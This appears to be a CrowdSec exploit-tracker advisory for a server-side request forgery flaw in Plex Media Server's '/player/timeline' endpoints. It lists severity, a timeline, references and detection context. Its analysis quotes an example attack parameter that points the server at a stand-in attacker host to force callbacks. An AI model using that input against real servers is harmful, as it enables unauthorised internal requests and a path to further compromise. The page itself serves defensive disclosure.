# CVE-2026-96652: Plex Media Server - SSRF

> Live exploitation tracking for CVE-2026-96652 by the CrowdSec Live Exploit Tracker, built from real-world attack data crowdsourced from CrowdSec's global network.

Page: https://tracker.crowdsec.net/cves/CVE-2026-96652

## Key facts

- **Exploitation phase:** Limited Exploitation. The vulnerability is known but shows very limited attacker interest or exploitation activity.
- **CVSS score:** 5.3
- **Public exploit available:** Yes
- **Affected products:** Plex Media Server
- **Weaknesses:** CWE-918 (Server-Side Request Forgery (SSRF))
- **Tags:** web_application

## Description

Plex Media Server before 1.43.3.10861 allows SSRF via '/player/timeline'. An attacker using any X-Plex-Token value can include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination.

## CrowdSec analysis

[CVE-2026-96652](https://euvd.enisa.europa.eu/vulnerability/CVE-2026-96652) is a server-side request forgery vulnerability in Plex Media Server before 1.43.3.10861. The companion `/player/timeline` endpoints accept any `X-Plex-Token` value and build a callback URL from the player-supplied `protocol` parameter, so an unauthenticated attacker can make the server send POST requests to arbitrary internal or external destinations. It is the entry point of the Plex2Shell exploitation chain.

CrowdSec has been tracking this vulnerability and its exploits since 28th of October 2026.

CrowdSec has not observed any significant exploitation activity targeting CVE-2026-96652 across its network. As a result, no community-driven trend analysis is available for this vulnerability at this time.

Attackers send requests to `/player/timeline/subscribe` (and other `/player/timeline` endpoints) with a full URL instead of a scheme in the `protocol` query parameter, e.g. `protocol=http://attacker.example:8080/`, to make Plex call back to a host they choose.

## Timeline

- 2026-09-23: CVE Published. CVE-2026-96652 is published to NVD.
- 2026-10-20: CISA KEV. CVE-2026-96652 is added to the Known Exploited Vulnerabilities catalog by CISA.
- 2026-10-28: Rule Released. CrowdSec releases a rule to detect CVE-2026-96652 exploitation attempts against the CrowdSec Network.
- 2026-10-28: CrowdSec First Seen. CrowdSec observes in-the-wild exploitation of CVE-2026-96652 for the first time.
- 2026-11-03: CISA Remediation Deadline. Expiration of the CISA remediation deadline as described in [BOD 22-01](https://www.cisa.gov/news-events/directives/bod-22-01-reducing-significant-risk-known-exploited-vulnerabilities).

## References

- https://github.com/projectdiscovery/nuclei-templates/pull/17460
- https://zmain.info/blog/plex2shell
- https://forums.plex.tv/t/plex-media-server/30447/711
- https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json
- https://www.cve.org/CVERecord?id=CVE-2026-96652

## Live exploitation data

The [Live Exploit Tracker page](https://tracker.crowdsec.net/cves/CVE-2026-96652) follows observed exploitation activity for CVE-2026-96652. [Request an API key](https://tracker.crowdsec.net/request-api-key) for full access to its exploitation timeline, attacking IP addresses and blocklists.